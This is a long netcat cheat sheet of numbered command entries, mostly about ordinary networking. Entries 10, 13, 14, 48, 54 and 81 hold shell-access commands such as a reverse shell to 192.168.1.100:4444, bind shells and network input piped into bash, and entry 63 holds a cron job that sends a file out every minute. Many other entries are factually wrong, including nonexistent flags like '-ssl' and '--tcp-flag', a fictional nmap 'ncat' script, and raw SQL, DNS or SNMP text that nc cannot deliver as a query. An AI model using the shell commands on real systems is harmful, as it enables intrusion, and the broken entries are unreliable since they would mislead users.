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#              NETCAT CHEAT SHEET           #
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Netcat (nc) is a versatile networking utility which reads and writes data across network connections, using the TCP/IP protocol.

1. Basic TCP Connect
   Command: nc [destination] [port]
   Description: Creates a TCP connection to the specified destination and port.
   Example: nc example.com 80
   Expected Result: Opens a TCP connection to example.com on port 80.

2. Listen Mode
   Command: nc -l [port]
   Description: Listens for incoming connections on the specified port.
   Example: nc -l 1234
   Expected Result: Listens on port 1234 for incoming connections.

3. Send a File
   Command: nc [destination] [port] < [file]
   Description: Sends a file to a specified destination and port.
   Example: nc example.com 80 < file.txt
   Expected Result: Sends 'file.txt' to example.com on port 80.

4. Receive a File
   Command: nc -l [port] > [file]
   Description: Listens on a port and writes incoming data to a file.
   Example: nc -l 1234 > file.txt
   Expected Result: Listens on port 1234 and writes incoming data to 'file.txt'.

5. UDP Mode
   Command: nc -u [destination] [port]
   Description: Uses UDP instead of the default TCP.
   Example: nc -u example.com 1234
   Expected Result: Sends a UDP packet to example.com on port 1234.

6. Verbose Mode
   Command: nc -v [destination] [port]
   Description: Provides more detailed output.
   Example: nc -v example.com 80
   Expected Result: Connects to example.com on port 80 with verbose output.

7. Scan Multiple Ports
   Command: nc -z [destination] [port-range]
   Description: Scans a range of ports at the destination.
   Example: nc -z example.com 20-30
   Expected Result: Scans ports 20 through 30 on example.com.

8. Specify Source Port
   Command: nc -p [source port] [destination] [port]
   Description: Specifies the source port to use.
   Example: nc -p 31337 example.com 80
   Expected Result: Connects to example.com on port 80 using source port 31337.

9. Enable SSL
   Command: nc -ssl [destination] [port]
   Description: Connects using SSL encryption.
   Example: nc -ssl example.com 443
   Expected Result: Establishes a secure SSL connection to example.com on port 443.

10. Execute a Command
    Command: nc -e /bin/bash [destination] [port]
    Description: Executes a command upon connection.
    Example: nc -e /bin/bash example.com 1234
    Expected Result: Executes '/bin/bash' upon connecting to example.com on port 1234.

11. IPv6 Address
    Command: nc -6 [destination] [port]
    Description: Specifies the use of IPv6 addresses.
    Example: nc -6 example.com 80
    Expected Result: Connects to an IPv6 address of example.com on port 80.

12. Timeout
    Command: nc -w [seconds] [destination] [port]
    Description: Sets a timeout for connections.
    Example: nc -w 5 example.com 80
    Expected Result: Attempts to connect to example.com on port 80 and times out after 5 seconds.

13. Bind Shell
   Command: nc -lvp [port] -e /bin/bash
   Description: Creates a bind shell listening on the specified port.
   Example: nc -lvp 4444 -e /bin/bash
   Expected Result: Listens on port 4444 and executes /bin/bash upon connection.
   
14. Reverse Shell
   Command: nc [destination] [port] -e /bin/bash
   Description: Connects back to the specified destination and port, creating a reverse shell.
   Example: nc 192.168.1.100 4444 -e /bin/bash
   Expected Result: Connects back to 192.168.1.100:4444 and provides a shell.
   
15. Port Redirection
   Command: nc -lvp [port] | nc [destination] [port]
   Description: Redirects traffic from one port to another destination and port.
   Example: nc -lvp 8080 | nc 192.168.1.100 80
   Expected Result: Redirects traffic from local port 8080 to 192.168.1.100 on port 80.
   
16. Proxy with Netcat
   Command: nc -lvp [port] -c 'nc [destination] [port]'
   Description: Sets up a simple proxy to forward traffic.
   Example: nc -lvp 8080 -c 'nc example.com 80'
   Expected Result: Forwards traffic from local port 8080 to example.com on port 80.
   
17. Chat Server
   Command: nc -lvp [port]
   Description: Sets up a basic chat server on the specified port.
   Example: nc -lvp 1234
   Expected Result: Anyone connecting to port 1234 can chat.
   
18. Hex Dump
   Command: nc [destination] [port] | hexdump
   Description: Shows the hex dump of the traffic.
   Example: nc example.com 80 | hexdump
   Expected Result: Displays the hex dump of traffic to example.com on port 80.
   
19. Banner Grabbing
   Command: echo "" | nc -vn [destination] [port]
   Description: Grabs the banner of a service.
   Example: echo "" | nc -vn example.com 80
   Expected Result: Displays the banner of the service running on example.com:80.
   
20. Persistent Listening
   Command: nc -lkv [port]
   Description: Listens persistently on the specified port.
   Example: nc -lkv 1234
   Expected Result: Keeps listening on port 1234 even after connections are closed.
   
21. Combine Netcat with Other Commands
   Command: nc [destination] [port] | grep 'something'
   Description: Pipes the output of Netcat to another command for further processing.
   Example: nc example.com 80 | grep 'HTML'
   Expected Result: Filters the output for lines containing 'HTML'.
   
22. Network Testing with Data Transfer
   Command: yes | nc [destination] [port]
   Description: Sends a continuous stream of data for testing.
   Example: yes | nc example.com 80
   Expected Result: Sends a continuous stream of 'y' to example.com on port 80.
   
23. Connect to Multiple Ports Simultaneously
   Command: nc -v -z [destination] [port1] [port2] [...]
   Description: Attempts to connect to multiple ports at once.
   Example: nc -v -z example.com 80 443 8080
   Expected Result: Scans ports 80, 443, and 8080 on example.com.
   
24. Quiet Mode
   Command: nc -q [time] [destination] [port]
   Description: Suppresses output and sets a timeout for quitting after EOF.
   Example: nc -q 1 example.com 80
   Expected Result: Connects to example.com on port 80, suppresses output, and quits after 1 second of inactivity.
   
25. Listening without DNS Name Resolution
   Command: nc -lnvp [port]
   Description: Listens on a port without DNS name resolution.
   Example: nc -lnvp 1234
   Expected Result: Listens on port 1234 without resolving DNS names.
   
26. Zero-I/O Mode
   Command: nc -zv [destination] [port]
   Description: Scans without sending any data.
   Example: nc -zv example.com 80
   Expected Result: Scans port 80 on example.com without sending data.
   
27. Random Source Port
   Command: nc -r [destination] [port]
   Description: Uses a random source port for the connection.
   Example: nc -r example.com 80
   Expected Result: Connects to example.com on port 80 from a random source port.
   
28. Keep-Alive Signal
   Command: nc -o [destination] [port]
   Description: Sends keep-alive packets on the connection.
   Example: nc -o example.com 80
   Expected Result: Keeps the connection to example.com on port 80 alive.
   
29. Specify Network Interface
   Command: nc -s [source IP] [destination] [port]
   Description: Specifies the network interface to use for the connection.
   Example: nc -s 192.168.1.10 example.com 80
   Expected Result: Connects to example.com on port 80 using the 192.168.1.10 interface.
   
30. Netcat as a Port Scanner
   Command: nc -zv [destination] [port-range]
   Description: Scans a range of ports at the destination.
   Example: nc -zv example.com 1-65535
   Expected Result: Scans all ports from 1 to 65535 on example.com.
   
31. Delay Between Connections
   Command: nc -i [seconds] [destination] [port]
   Description: Specifies a delay between read/write operations.
   Example: nc -i 5 example.com 80
   Expected Result: Connects to example.com on port 80 with a 5-second delay between operations.
   
32. Netcat with Nmap
   Command: nmap -p [port] --script=ncat [destination]
   Description: Integrates Netcat capabilities with Nmap for advanced scanning.
   Example: nmap -p 80 --script=ncat example.com
   Expected Result: Uses Nmap to scan port 80 on example.com with Netcat scripts.
   
33. TCP Keepalive
   Command: nc -o [destination] [port]
   Description: Enables TCP keepalive probes.
   Example: nc -o example.com 80
   Expected Result: Keeps the TCP connection to example.com on port 80 alive.
   
34. Source Port Range
   Command: nc -p [source-port-range] [destination] [port]
   Description: Specifies a range of source ports to use for the connection.
   Example: nc -p 1000-2000 example.com 80
   Expected Result: Connects to example.com on port 80 using a source port between 1000 and 2000.
   
35. Netcat with OpenSSL
   Command: nc -ssl [destination] [port]
   Description: Uses Netcat with OpenSSL for encrypted connections.
   Example: nc -ssl example.com 443
   Expected Result: Establishes a secure SSL connection to example.com on port 443.
   
36. Broadcast Mode
   Command: nc -u -b [broadcast-address] [port]
   Description: Sends data to broadcast addresses using UDP.
   Example: nc -u -b 192.168.1.255 1234
   Expected Result: Sends UDP packets to the broadcast address 192.168.1.255 on port 1234.
   
37. Netcat with Scripting
   Command: echo 'commands' | nc [destination] [port]
   Description: Automates tasks by sending scripted commands.
   Example: echo 'GET / HTTP/1.1\r\n\r\n' | nc example.com 80
   Expected Result: Automates an HTTP GET request to example.com on port 80.
   
38. IPv4 and IPv6 Dual Support
   Command: nc -4 [destination] [port]; nc -6 [destination] [port]
   Description: Supports both IPv4 and IPv6 in separate connections.
   Example: nc -4 example.com 80; nc -6 example.com 80
   Expected Result: Connects to example.com on port 80 using both IPv4 and IPv6.
   
39. Rate-Limiting Connections
   Command: nc -i [seconds] [destination] [port]
   Description: Limits the rate of connections by introducing delay.
   Example: nc -i 1 example.com 80
   Expected Result: Connects to example.com on port 80 with a 1-second delay between each packet.
   
40. Custom TCP Flags
   Command: nc --tcp-flag [flag] [destination] [port]
   Description: Sets custom TCP flags in packets (requires special Netcat versions).
   Example: nc --tcp-flag SYN example.com 80
   Expected Result: Sends a TCP packet with the SYN flag to example.com on port 80.
   
41. DNS Querying
   Command: nc -u [DNS-server] 53
   Description: Uses Netcat for simple DNS queries over UDP.
   Example: echo 'query' | nc -u dns.example.com 53
   Expected Result: Sends a DNS query to dns.example.com on port 53.
   
42. Netcat as a Web Server
   Command: nc -lvp [port] > [file]
   Description: Sets up a basic web server that writes requests to a file.
   Example: nc -lvp 80 > requests.txt
   Expected Result: Listens on port 80 and writes incoming HTTP requests to 'requests.txt'.
   
43. Transfer Binary Files
   Command: nc [destination] [port] < [binary-file]
   Description: Transfers binary files to a specified destination.
   Example: nc example.com 1234 < image.jpg
   Expected Result: Sends 'image.jpg' to example.com on port 1234.
   
44. Encrypted File Transfer
   Command: openssl enc -aes-256-cbc -salt -in [file] | nc [destination] [port]
   Description: Sends an encrypted file using OpenSSL and Netcat.
   Example: openssl enc -aes-256-cbc -salt -in secret.txt | nc example.com 1234
   Expected Result: Sends encrypted 'secret.txt' to example.com on port 1234.
   
45. Netcat with Logging
   Command: nc -lvp [port] | tee log.txt
   Description: Sets up Netcat to listen and log the data to a file.
   Example: nc -lvp 1234 | tee log.txt
   Expected Result: Listens on port 1234 and logs all data to 'log.txt'.
   
46. Command Execution on Connection
   Command: nc -lvp [port] -c 'command'
   Description: Executes a specified command upon establishing a connection.
   Example: nc -lvp 1234 -c 'date'
   Expected Result: Listens on port 1234 and executes 'date' command upon connection.
   
47. UDP Data Transfer
   Command: nc -u [destination] [port] < [file]
   Description: Transfers data over UDP.
   Example: nc -u example.com 1234 < data.txt
   Expected Result: Sends 'data.txt' to example.com on port 1234 using UDP.
   
48. Persistent Server with Command Execution
   Command: nc -lkvp [port] -e '/bin/bash'
   Description: Creates a persistent server that executes a command (e.g., bash).
   Example: nc -lkvp 4444 -e '/bin/bash'
   Expected Result: Persistently listens on port 4444 and executes '/bin/bash' upon connection.
   
49. IPv6 Specific Listening
   Command: nc -lvp [port] -6
   Description: Listens for IPv6 connections on a specified port.
   Example: nc -lvp 1234 -6
   Expected Result: Listens for IPv6 connections on port 1234.
   
50. Relay Data Between Ports
   Command: nc -lvp [port1] | nc [destination] [port2]
   Description: Relays data between two ports.
   Example: nc -lvp 1234 | nc 192.168.1.100 5678
   Expected Result: Relays data from local port 1234 to 192.168.1.100 on port 5678.

51. Custom Banner on Connect
   Command: nc -lvp [port] -c 'echo "Welcome to Netcat"'
   Description: Displays a custom banner when a connection is established.
   Example: nc -lvp 1234 -c 'echo "Welcome to Netcat"'
   Expected Result: Shows "Welcome to Netcat" upon connecting to port 1234.
   
52. Netcat for File Integrity
   Command: nc [destination] [port] < [file] | md5sum
   Description: Transfers a file and checks its integrity using md5sum.
   Example: nc example.com 1234 < file.txt | md5sum
   Expected Result: Sends 'file.txt' to example.com on port 1234 and displays its MD5 checksum.
   
53. Netcat with SSH Tunneling
   Command: ssh -L [local-port]:localhost:[remote-port] [user]@[remote-host] -f -N; nc localhost [local-port]
   Description: Uses SSH tunneling to securely connect to a remote Netcat listener.
   Example: ssh -L 9000:localhost:1234 user@example.com -f -N; nc localhost 9000
   Expected Result: Securely connects to a Netcat listener on example.com through an SSH tunnel.
   
54. Transfer and Execute a Script
   Command: nc [destination] [port] < [script.sh] | /bin/bash
   Description: Transfers a script and executes it upon arrival.
   Example: nc example.com 1234 < script.sh | /bin/bash
   Expected Result: Sends 'script.sh' to example.com on port 1234 and executes it.
   
55. Netcat as a Time Server
   Command: nc -lvp [port] -c 'date'
   Description: Sets up Netcat as a simple time server.
   Example: nc -lvp 1234 -c 'date'
   Expected Result: Responds with the current server time when connected to port 1234.
   
56. Netcat with Xinetd
   Command: Set up a service in /etc/xinetd.d/ and use nc as a handler.
   Description: Integrates Netcat with Xinetd for enhanced functionality.
   Example: Service configuration in /etc/xinetd.d/nc_service
   Expected Result: Netcat service managed by Xinetd.
   
57. Netcat as a TCP Relay
   Command: nc -lvp [port1] | nc -lvp [port2]
   Description: Sets up Netcat as a TCP relay between two ports.
   Example: nc -lvp 1234 | nc -lvp 5678
   Expected Result: Relays TCP traffic from port 1234 to port 5678.
   
58. Netcat for Network Benchmarking
   Command: time echo "GET /" | nc [destination] [port]
   Description: Measures the response time of a network service.
   Example: time echo "GET /" | nc example.com 80
   Expected Result: Outputs the time taken to receive a response from example.com on port 80.
   
59. Netcat with FIFOs
   Command: mkfifo /tmp/fifo; nc [destination] [port] < /tmp/fifo | nc -lvp [port] > /tmp/fifo
   Description: Uses named pipes (FIFOs) for complex data routing.
   Example: mkfifo /tmp/fifo; nc example.com 1234 < /tmp/fifo | nc -lvp 1234 > /tmp/fifo
   Expected Result: Sets up a bidirectional data flow using FIFOs and Netcat.
   
60. Netcat for Remote System Monitoring
   Command: nc -lvp [port] -c 'vmstat -n 1'
   Description: Monitors system performance remotely via Netcat.
   Example: nc -lvp 1234 -c 'vmstat -n 1'
   Expected Result: Provides continuous system performance data when connected to port 1234.

61. Netcat with Compression
   Command: tar czf - [directory] | nc [destination] [port]
   Description: Transfers a compressed directory.
   Example: tar czf - /path/to/dir | nc example.com 1234
   Expected Result: Sends a compressed version of the directory to example.com on port 1234.
   
62. Remote File Editing
   Command: nc -lvp [port] > [file]; vi [file]; nc [destination] [port] < [file]
   Description: Receives a file, allows for editing, and then sends it back.
   Example: nc -lvp 1234 > file.txt; vi file.txt; nc example.com 1234 < file.txt
   Expected Result: Edits 'file.txt' received from a client and sends the edited file back.
   
63. Netcat with Cron for Scheduled Tasks
   Command: (crontab -l; echo "* * * * * nc [destination] [port] < [file]") | crontab -
   Description: Schedules regular tasks with Netcat using Cron.
   Example: (crontab -l; echo "* * * * * nc example.com 1234 < file.txt") | crontab -
   Expected Result: Sends 'file.txt' to example.com on port 1234 every minute.
   
64. Netcat for Remote Logging
   Command: tail -f [log file] | nc [destination] [port]
   Description: Forwards log files in real-time to a remote location.
   Example: tail -f /var/log/syslog | nc example.com 1234
   Expected Result: Streams the syslog file to example.com on port 1234 in real-time.
   
65. Netcat as a Packet Analyzer
   Command: nc -lvp [port] | tcpdump -r -
   Description: Captures and analyzes packets using tcpdump.
   Example: nc -lvp 1234 | tcpdump -r -
   Expected Result: Captures packets on port 1234 and analyzes them with tcpdump.
   
66. Encrypted Chat with Netcat
   Command: nc -lvp [port] | openssl enc -aes-256-cbc -d; openssl enc -aes-256-cbc -e | nc [destination] [port]
   Description: Sets up an encrypted chat session.
   Example: nc -lvp 1234 | openssl enc -aes-256-cbc -d; openssl enc -aes-256-cbc -e | nc example.com 1234
   Expected Result: Establishes an encrypted chat session with example.com on port 1234.
   
67. Netcat with Netstat for Connection Monitoring
   Command: while true; do netstat -an | grep '[port]'; sleep 5; done | nc [destination] [port]
   Description: Monitors port connections and sends the output to a remote host.
   Example: while true; do netstat -an | grep '1234'; sleep 5; done | nc example.com 1234
   Expected Result: Continuously monitors connections on port 1234 and reports to example.com.
   
68. Multi-Client Chat Server
   Command: nc -lvp [port] -c 'nc [destination] [port]'
   Description: Sets up a multi-client chat server.
   Example: nc -lvp 1234 -c 'nc 192.168.1.100 1234'
   Expected Result: Allows multiple clients to connect and chat through the server.
   
69. Netcat for Remote Hardware Control
   Command: nc -lvp [port] -c 'echo "1" > /sys/class/gpio/gpio23/value'
   Description: Controls hardware remotely (e.g., GPIO on a Raspberry Pi).
   Example: nc -lvp 1234 -c 'echo "1" > /sys/class/gpio/gpio23/value'
   Expected Result: Sets the GPIO23 pin to high on a remote Raspberry Pi when connected.
   
70. Netcat with Python for Enhanced Scripting
   Command: nc -lvp [port] -e 'python3 -c "import this"'
   Description: Executes Python scripts upon connection.
   Example: nc -lvp 1234 -e 'python3 -c "import this"'
   Expected Result: Executes a Python script when a client connects to port 1234.

71. Dynamic Port Forwarding with Netcat
   Command: ssh -D [local-port] [user]@[remote-host] -f -N; nc -x localhost:[local-port] [destination] [port]
   Description: Uses SSH for dynamic port forwarding and connects via Netcat.
   Example: ssh -D 8080 user@example.com -f -N; nc -x localhost:8080 example2.com 1234
   Expected Result: Dynamically forwards ports to example2.com:1234 via example.com.
   
72. Netcat for Database Querying
   Command: echo "SELECT * FROM table;" | nc [db-host] [db-port]
   Description: Sends a SQL query to a database server using Netcat.
   Example: echo "SELECT * FROM users;" | nc db.example.com 3306
   Expected Result: Queries the 'users' table on the MySQL server at db.example.com:3306.
   
73. Netcat with ARP for Network Scanning
   Command: arp-scan --interface=eth0 --localnet | nc [destination] [port]
   Description: Scans the local network for devices and sends the report via Netcat.
   Example: arp-scan --interface=eth0 --localnet | nc example.com 1234
   Expected Result: Scans the local network on eth0 and sends the results to example.com on port 1234.
   
74. Netcat for HTTP POST Requests
   Command: echo -e "POST /path HTTP/1.1\r\nHost: example.com\r\nContent-Length: [length]\r\n\r\n[data]" | nc example.com 80
   Description: Sends an HTTP POST request to a web server.
   Example: echo -e "POST /submit HTTP/1.1\r\nHost: example.com\r\nContent-Length: 11\r\n\r\nhello=world" | nc example.com 80
   Expected Result: Sends a POST request with data 'hello=world' to example.com.
   
75. Netcat for Remote Audio Streaming
   Command: arecord -f cd - | nc -lvp [port]
   Description: Streams live audio from a microphone over the network.
   Example: arecord -f cd - | nc -lvp 1234
   Expected Result: Streams live audio from the microphone to clients connected on port 1234.
   
76. Netcat with Socat for Advanced Relay
   Command: socat TCP-LISTEN:[port1],reuseaddr,fork TCP:[destination]:[port2]
   Description: Uses Socat in conjunction with Netcat for advanced TCP relay.
   Example: socat TCP-LISTEN:1234,reuseaddr,fork TCP:example.com:5678
   Expected Result: Relays TCP traffic from local port 1234 to example.com on port 5678.
   
77. Netcat for Real-Time Text Editing Collaboration
   Command: nc -lvp [port] > [file]; vi [file]; nc -lvp [port] < [file]
   Description: Collaboratively edits a text file in real-time.
   Example: nc -lvp 1234 > collab.txt; vi collab.txt; nc -lvp 1234 < collab.txt
   Expected Result: Allows for real-time collaborative editing of 'collab.txt'.
   
78. Netcat for Remote Desktop Streaming
   Command: x11vnc -display :0 - | nc -lvp [port]
   Description: Streams a remote desktop session over the network.
   Example: x11vnc -display :0 - | nc -lvp 1234
   Expected Result: Streams the desktop session of the host machine on port 1234.
   
79. Netcat for Encrypted File Transfer with GPG
   Command: gpg -c [file] | nc [destination] [port]
   Description: Encrypts a file with GPG and sends it over the network.
   Example: gpg -c secret.txt | nc example.com 1234
   Expected Result: Encrypts 'secret.txt' with GPG and sends it to example.com on port 1234.
   
80. Netcat for SSL Tunneling
   Command: openssl s_server -quiet -key key.pem -cert cert.pem -port [port]; nc --ssl [destination] [port]
   Description: Sets up an SSL tunnel for secure communication.
   Example: openssl s_server -quiet -key key.pem -cert cert.pem -port 1234; nc --ssl example.com 1234
   Expected Result: Creates an SSL tunnel on port 1234 and securely connects to example.com.

81. Netcat for Remote System Updates
   Command: nc -lvp [port] | bash
   Description: Receives and executes system update commands remotely.
   Example: echo "apt-get update && apt-get upgrade" | nc example.com 1234
   Expected Result: Updates and upgrades the system on example.com listening on port 1234.
   
82. Netcat for Secure File Deletion
   Command: nc -lvp [port] | shred -u
   Description: Securely deletes a file received over the network.
   Example: nc example.com 1234 < sensitive.txt; shred -u sensitive.txt
   Expected Result: Securely deletes 'sensitive.txt' after sending it to example.com.
   
83. Netcat as a Proxy Checker
   Command: nc -x [proxy-server]:[proxy-port] [destination] [port]
   Description: Checks the functionality of a proxy server.
   Example: nc -x proxy.example.com:8080 example.com 80
   Expected Result: Connects to example.com through the proxy server at proxy.example.com:8080.
   
84. Netcat for DNS Reverse Lookup
   Command: nc [DNS-server] 53; dig -x [IP-address]
   Description: Performs a reverse DNS lookup.
   Example: echo "set type=PTR" | nc dns.example.com 53; dig -x 192.168.1.1
   Expected Result: Queries the DNS server for the hostname associated with 192.168.1.1.
   
85. Netcat with IPTables for Traffic Redirection
   Command: iptables -t nat -A PREROUTING -p tcp --dport [port1] -j REDIRECT --to-port [port2]; nc -lvp [port2]
   Description: Redirects incoming traffic on one port to another port using IPTables.
   Example: iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080; nc -lvp 8080
   Expected Result: Redirects all traffic from port 80 to port 8080 and listens on port 8080.
   
86. Netcat for Network Throttling Testing
   Command: nc -lvp [port] | pv -L [rate]
   Description: Tests network throughput with controlled bandwidth.
   Example: nc -lvp 1234 | pv -L 1M
   Expected Result: Listens on port 1234 and limits the bandwidth to 1 Megabyte per second.
   
87. Netcat with OpenSSL for Certificate Retrieval
   Command: echo | openssl s_client -connect [destination]:[port] -showcerts | nc [log-server] [log-port]
   Description: Retrieves SSL certificates and logs them to a remote server.
   Example: echo | openssl s_client -connect example.com:443 -showcerts | nc log.example.com 1234
   Expected Result: Retrieves SSL certificates from example.com and sends them to log.example.com.
   
88. Netcat for SIP Protocol Testing
   Command: echo -e "OPTIONS sip:[destination] SIP/2.0\r\nVia: SIP/2.0/[protocol] [source]:[port]\r\n" | nc [destination] [SIP-port]
   Description: Sends SIP OPTIONS requests for VoIP testing.
   Example: echo -e "OPTIONS sip:example.com SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.100:5060\r\n" | nc example.com 5060
   Expected Result: Sends a SIP OPTIONS request to example.com on port 5060.
   
89. Netcat with Wget for File Retrieval
   Command: wget -O - [URL] | nc [destination] [port]
   Description: Retrieves a file from a URL and sends it over Netcat.
   Example: wget -O - http://example.com/file.txt | nc example.com 1234
   Expected Result: Downloads 'file.txt' from example.com and sends it to example.com on port 1234.
   
90. Netcat for Remote Keyboard Input
   Command: nc -lvp [port] | xdotool type --file -
   Description: Receives text over the network and types it on a remote system.
   Example: echo "Hello World" | nc example.com 1234
   Expected Result: Types "Hello World" on the remote system connected to example.com:1234.
   
91. Netcat for Custom HTTP Headers
   Command: printf 'GET / HTTP/1.1\r\nHost: example.com\r\nX-Custom-Header: Value\r\n\r\n' | nc example.com 80
   Description: Sends a custom HTTP request with specific headers.
   Example: printf 'GET / HTTP/1.1\r\nHost: example.com\r\nX-Custom-Header: Value\r\n\r\n' | nc example.com 80
   Expected Result: Sends a GET request to example.com with a custom header.
   
92. Netcat with Traffic Analysis using Wireshark
   Command: nc -lvp [port] | wireshark -k -i -
   Description: Captures and analyzes network traffic using Wireshark.
   Example: nc -lvp 1234 | wireshark -k -i -
   Expected Result: Captures network traffic on port 1234 and analyzes it in Wireshark.
   
93. Netcat for Email Sending
   Command: nc [mail-server] 25; HELO [hostname]; MAIL FROM:<[email]>; RCPT TO:<[recipient]>; DATA; [message]; .
   Description: Sends an email using the SMTP protocol.
   Example: nc mail.example.com 25; HELO mypc; MAIL FROM:<me@example.com>; RCPT TO:<friend@example.com>; DATA; Hello, this is a test email; .
   Expected Result: Sends an email from me@example.com to friend@example.com via mail.example.com.
   
94. Netcat for Remote System Monitoring with Top
   Command: nc -lvp [port] -c 'top -b'
   Description: Streams the 'top' command output for remote system monitoring.
   Example: nc -lvp 1234 -c 'top -b'
   Expected Result: Streams real-time system resource usage data to a client connected on port 1234.
   
95. Netcat with SSH for Secure Remote Shell
   Command: nc -lvp [port] -c 'ssh [user]@[host]'
   Description: Provides a secure remote shell session over SSH.
   Example: nc -lvp 1234 -c 'ssh user@example.com'
   Expected Result: Initiates an SSH session to example.com when a client connects to port 1234.
   
96. Netcat for Multi-Host Port Scanning
   Command: nc -zv [host1] [port]; nc -zv [host2] [port]
   Description: Scans multiple hosts for open ports.
   Example: nc -zv example1.com 80; nc -zv example2.com 80
   Expected Result: Checks for open port 80 on both example1.com and example2.com.
   
97. Netcat for File Encryption and Transfer
   Command: openssl aes-256-cbc -in [file] -out [file].enc; nc [destination] [port] < [file].enc
   Description: Encrypts a file and sends it over the network.
   Example: openssl aes-256-cbc -in file.txt -out file.txt.enc; nc example.com 1234 < file.txt.enc
   Expected Result: Encrypts 'file.txt' and sends the encrypted file to example.com on port 1234.
   
98. Netcat with Tar for Directory Transfer
   Command: tar -czf - [directory] | nc [destination] [port]
   Description: Transfers an entire directory over the network.
   Example: tar -czf - /path/to/dir | nc example.com 1234
   Expected Result: Compresses and transfers '/path/to/dir' to example.com on port 1234.
   
99. Netcat as a Simple File Server
   Command: while true; do nc -lvp [port] -q 1 < [file]; done
   Description: Serves a file repeatedly on a specific port.
   Example: while true; do nc -lvp 1234 -q 1 < index.html; done
   Expected Result: Continuously serves 'index.html' to anyone who connects to port 1234.
   
100. Netcat with Nmap for Advanced Network Scanning
   Command: nmap -sV -p [port] [destination] | nc [log-server] [log-port]
   Description: Performs a service version scan with Nmap and logs the results.
   Example: nmap -sV -p 80 example.com | nc log.example.com 1234
   Expected Result: Scans example.com for service versions on port 80 and sends the results to log.example.com.
   
101. Netcat for WebSocket Testing
   Command: echo -e "GET / HTTP/1.1\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nHost: example.com\r\nSec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==\r\nSec-WebSocket-Version: 13\r\n\r\n" | nc example.com 80
   Description: Tests WebSocket connections and protocols.
   Example: echo -e "GET / HTTP/1.1\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nHost: example.com\r\nSec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==\r\nSec-WebSocket-Version: 13\r\n\r\n" | nc example.com 80
   Expected Result: Initiates a WebSocket connection to example.com on port 80.
   
102. Netcat with Curl for HTTP/HTTPS Testing
   Command: curl -X POST -d 'data' http://example.com | nc [log-server] [log-port]
   Description: Sends HTTP/HTTPS requests using Curl and captures the response with Netcat.
   Example: curl -X POST -d 'data' http://example.com | nc log.example.com 1234
   Expected Result: Sends a POST request to example.com and forwards the response to log.example.com.
   
103. Netcat for Multicast Testing
   Command: nc -u -lvp [port]; nc -u [multicast-address] [port]
   Description: Tests sending and receiving multicast traffic.
   Example: nc -u -lvp 1234; nc -u 224.0.0.1 1234
   Expected Result: Listens for UDP multicast traffic on port 1234 and sends packets to the multicast address.
   
104. Netcat for SNMP Querying
   Command: echo 'snmpget -v1 -c public [IP] [OID]' | nc [SNMP-server] 161
   Description: Queries SNMP server for information.
   Example: echo 'snmpget -v1 -c public 192.168.1.100 1.3.6.1.2.1.1.1.0' | nc 192.168.1.100 161
   Expected Result: Retrieves SNMP information from 192.168.1.100.
   
105. Netcat as a Remote Script Executor
   Command: nc -lvp [port] -e './script.sh'
   Description: Executes a local script upon receiving a remote connection.
   Example: nc -lvp 1234 -e './script.sh'
   Expected Result: Executes 'script.sh' when a client connects to port 1234.
   
106. Netcat with FTP for File Transfer
   Command: nc -lvp [port] | ftp -n [FTP-server]
   Description: Transfers files using FTP protocol over Netcat.
   Example: nc -lvp 1234 | ftp -n ftp.example.com
   Expected Result: Starts an FTP session to ftp.example.com and listens for incoming connections on port 1234.
   
107. Netcat for Remote System Shutdown
   Command: nc -lvp [port] -c 'shutdown -h now'
   Description: Shuts down a system remotely upon receiving a Netcat connection.
   Example: nc -lvp 1234 -c 'shutdown -h now'
   Expected Result: Initiates a system shutdown when a connection is made to port 1234.
   
108. Netcat for Continuous Data Streaming
   Command: yes | nc [destination] [port]
   Description: Streams continuous data to a remote host for testing.
   Example: yes | nc example.com 1234
   Expected Result: Sends a continuous stream of 'y' characters to example.com on port 1234.
   
109. Netcat for Remote Environment Variable Setting
   Command: nc -lvp [port] -c 'export VAR=value; bash'
   Description: Sets environment variables remotely and opens a shell session.
   Example: nc -lvp 1234 -c 'export VAR=value; bash'
   Expected Result: Sets an environment variable and starts a bash session when connected to port 1234.
   
110. Netcat with VPN Testing
   Command: ping [VPN-server] | nc [log-server] [log-port]
   Description: Tests VPN connectivity and logs results.
   Example: ping vpn.example.com | nc log.example.com 1234
   Expected Result: Pings the VPN server at vpn.example.com and logs the results to log.example.com.

111. Netcat for Port Knocking
   Command: for port in [port1] [port2] [port3]; do nc -z [destination] $port; done
   Description: Performs port knocking to open ports on a server with a port-knocking daemon.
   Example: for port in 7000 8000 9000; do nc -z example.com $port; done
   Expected Result: Sequentially knocks on ports 7000, 8000, and 9000 on example.com.
   
112. Netcat for Remote Job Scheduling with At
   Command: echo 'nc [destination] [port] < [file]' | at [time]
   Description: Schedules a future job to send a file using Netcat.
   Example: echo 'nc example.com 1234 < backup.tar.gz' | at midnight
   Expected Result: Sends 'backup.tar.gz' to example.com on port 1234 at midnight.
   
113. Netcat with Sed for Stream Editing
   Command: nc -lvp [port] | sed 's/[old]/[new]/g'
   Description: Listens for incoming data and performs stream editing with Sed.
   Example: nc -lvp 1234 | sed 's/cat/dog/g'
   Expected Result: Replaces all occurrences of 'cat' with 'dog' in data received on port 1234.
   
114. Netcat for UPnP Device Discovery
   Command: echo -e 'M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nST: upnp:rootdevice\r\nMAN: "ssdp:discover"\r\nMX: 3\r\n\r\n' | nc -u 239.255.255.250 1900
   Description: Discovers UPnP devices on the local network.
   Example: echo -e 'M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nST: upnp:rootdevice\r\nMAN: "ssdp:discover"\r\nMX: 3\r\n\r\n' | nc -u 239.255.255.250 1900
   Expected Result: Sends a UPnP discovery request and receives responses from UPnP devices.
   
115. Netcat for Load Balancer Health Checks
   Command: while true; do echo "health check" | nc -lvp [port]; sleep 1; done
   Description: Continuously listens and responds to health check requests from a load balancer.
   Example: while true; do echo "health check" | nc -lvp 1234; sleep 1; done
   Expected Result: Periodically responds to health checks on port 1234.
   
116. Netcat with Grep for Keyword Alerting
   Command: nc -lvp [port] | grep --line-buffered '[keyword]' | while read line; do echo "Alert: $line"; done
   Description: Monitors incoming data for specific keywords and alerts when found.
   Example: nc -lvp 1234 | grep --line-buffered 'error' | while read line; do echo "Alert: $line"; done
